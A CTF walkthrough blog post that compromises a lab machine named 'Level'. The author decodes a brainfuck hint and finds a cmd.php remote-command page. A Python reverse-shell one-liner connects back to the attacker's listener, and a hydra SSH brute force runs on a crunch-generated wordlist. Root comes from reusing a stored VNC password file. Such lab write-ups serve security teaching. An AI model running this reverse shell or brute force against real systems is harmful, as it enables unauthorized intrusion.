IP of the target :- 192.168.29.126

I was reading somewhere about rustscan so I thought to give it a try and after reading about some important flags that can be used, I thought to test the speed of this tool. So let's scan all the ports.

rustscan 192.168.29.126 --range 0-65535 --ulimit 5000 -- -sC -sV -Pn -o nmap.txt
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.
.
Open 192.168.29.126:21
Open 192.168.29.126:80
Open 192.168.29.126:139
Open 192.168.29.126:445
Open 192.168.29.126:65000
.
.
.
PORT      STATE SERVICE     REASON  VERSION
21/tcp    open  ftp         syn-ack vsftpd 3.0.3
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:192.168.29.248
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
80/tcp    open  http        syn-ack Apache httpd 2.4.38 ((Debian))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
139/tcp   open  netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
65000/tcp open  ssh         syn-ack OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)

It was really very fast, according to the scan we have 5 ports open - 21 FTP, 80 HTTP, 139 445 Samba and 65000 SSH . I thought to enumerate the web service but I got nothing except a text Level 0.

Next I checked for some common files and I found robots.txt file and viewing the source code of robots.txt revealed some good information.

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>+++++++++++++++++.>>++++++++.-------.+++++++++++++++++.-----------------.+++++++.++++++++.-----.+++.+++++++.

Umm this is brainfuck, I used an online compiler to run this program and got another directory name.

I found a wordlist in this directory, I think we need to use this wordlist to find more directories or files.

wfuzz -c -z file,dict.txt -t 300 --hc 404 http://192.168.29.126/FUZZ/
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===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================

000002022:   200        1 L      0 W      1 Ch        "Level2021"     

Great! as it is a directory I thought to FUZZ it more using some common extensions like php, js, html using the command shown below.

wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt -z list,php-js-html -t 300 --hc 404 http://192.168.29.126/Level2021/FUZZ.FUZ2Z
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===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================
000014242:   200        2 L      16 W     145 Ch      "cmd - php"
``

Okay so let's check it out.

Nice, it means there is RCE but to achieve that we need to find the GET parameter, okay so let's FUZZ it again :)

wfuzz -c -z file,/usr/share/wordlists/dirb/big.txt -t 300 --hw 16 http://192.168.29.126/Level2021/cmd.php?FUZZ=id
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===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                              
===================================================================

000004748:   200        1 L      4 W      65 Ch       "cmd" 

That's it, now we can get the reverse shell , I have used a python reverse shell, you can use whichever works.

Catching reverse shell :

python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.29.248",1234));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);%27

After listening on port 1234 using nc and finally we have the reverse shell!

┌──(artof㉿parrot)-[~/Desktop/CTF/level]
└─$ rlwrap nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.29.248] from (UNKNOWN) [192.168.29.126] 56618
/bin/sh: 0: can't access tty; job control turned off
$ 

So while looking at different directories I found something in /home.

www-data@Level:/home$ ls -al
ls -al
total 16
drwxr-xr-x  3 root root 4096 Jan  2 19:23 .
drwxr-xr-x 19 root root 4096 Jan  2 16:57 ..
-rwxrwxrwx  1 one  one   345 Jan  2 19:30 **.one_secret.txt**
drwx------  5 one  one  4096 Jan 11 10:03 one

Reading the .one_secrect.txt file.

cat .one_secret.txt

################################################
#                                              #
# changing "x" to "number" can be a great idea #
#                                              #
# one:0n30n3xxx                                #
#                                              #
################################################

www-data@Level:/home$ 

So it's brute force, we need to generate a wordlist in the specified format and then we can use hydra to crack ssh login for user one with the password list we have generated.

┌──(artof㉿parrot)-[~/Desktop/CTF/level]
└─$ crunch 9 9 -t 0n30n3%%% -o pass.txt
Crunch will now generate the following amount of data: 10000 bytes
0 MB
0 GB
0 TB
0 PB
Crunch will now generate the following number of lines: 1000 

crunch: 100% completed generating output

This should work !

hydra -l one -P pass.txt 192.168.29.126 ssh -t 64 -s 65000
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[65000][ssh] host: 192.168.29.126   login: one   password: 0n30n3666

Now we can login into the machine as user one using SSH.

ssh one@192.168.29.126 -p 65000                                                                                                             255 ⨯
one@192.168.29.126's password: 
Linux Level 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64


██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗  
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝

Now it's time for privilege escalation, but I found nothing useful so I thought to check for open ports, maybe some ports are open only for 127.0.0.1.

one@Level:~$ netstat -ano
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       Timer
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:65000           0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 0.0.0.0:139             0.0.0.0:*               LISTEN      off (0.00/0/0)
tcp        0      0 127.0.0.1:5901          0.0.0.0:*               LISTEN      off (0.00/0/0)
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.
.

Port 5901 looks suspicious, we have ssh creds so we can use ssh port forwarding using the command :

┌──(artof㉿parrot)-[~/Desktop/CTF/level]
└─$ ssh -L 5901:127.0.0.1:5901 one@192.168.29.126 -p 65000
one@192.168.29.126's password: 
.
.
.

Now we can access the port 5901 , but visiting http://127.0.0.1:5901/ gives an error then I thought to give a try using nc.

┌──(artof㉿parrot)-[~/Desktop/CTF/level]
└─$ nc 127.0.0.1 5901
RFB 003.008

Searching online about this, I found some good information that it is a VNC Server, but how do we connect it to it? I searched again for this online and found a utility for this.

So I used the command vncviewer as shown below :

┌──(artof㉿parrot)-[~/Desktop/CTF/level]
└─$ vncviewer 127.0.0.1:5901                     
Connected to RFB server, using protocol version 3.8
Performing standard VNC authentication
Password: 
Authentication failure
``

We need a password to connect to it. I tried some common passwords but they didn't work, so I thought to enumerate the VM more carefully and while checking for hidden files I found something interesting in /home/one.

one@Level:~$ ls -al
total 52
drwx------ 5 one  one  4096 ene 11 10:03 .
drwxr-xr-x 3 root root 4096 ene  2 19:23 ..
drwxr-xr-x 2 one  one  4096 ene  2 19:22 ...
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.

umm "..." looks unusual , let's check it out!

one@Level:~$ cd .../
one@Level:~/...$ ls 
remote_level
one@Level:~/...$ 

remote_level is a file, how can I use it ?, then I thought to check the options/flag I can use with vncviewer.

┌──(artof㉿parrot)-[~/Desktop/CTF/level]
└─$ vncviewer -h                                                                                                                                  1 ⨯
TightVNC Viewer version 1.3.9

Usage: vncviewer [<OPTIONS>] [<HOST>][:<DISPLAY#>]
       vncviewer [<OPTIONS>] [<HOST>][::<PORT#>]
       vncviewer [<OPTIONS>] -listen [<DISPLAY#>]
       vncviewer -help

<OPTIONS> are standard Xt options, or:
        -via <GATEWAY>
        -shared (set by default)
        -noshared
        -viewonly
        -fullscreen
        -noraiseonbeep
        -passwd <PASSWD-FILENAME> (standard VNC authentication)
.
.
.

What if I use this "remote_level" as a password file, okay let's try.

vncviewer -passwd remote_level 127.0.0.1:5901

A new window opened and I have root access.

So this completed the challenge, I hope you like the walkthrough, for any queries you can contact me on discord cyberbot#1859.

NOTE: The awesome artwork used in this article was created by chubasan.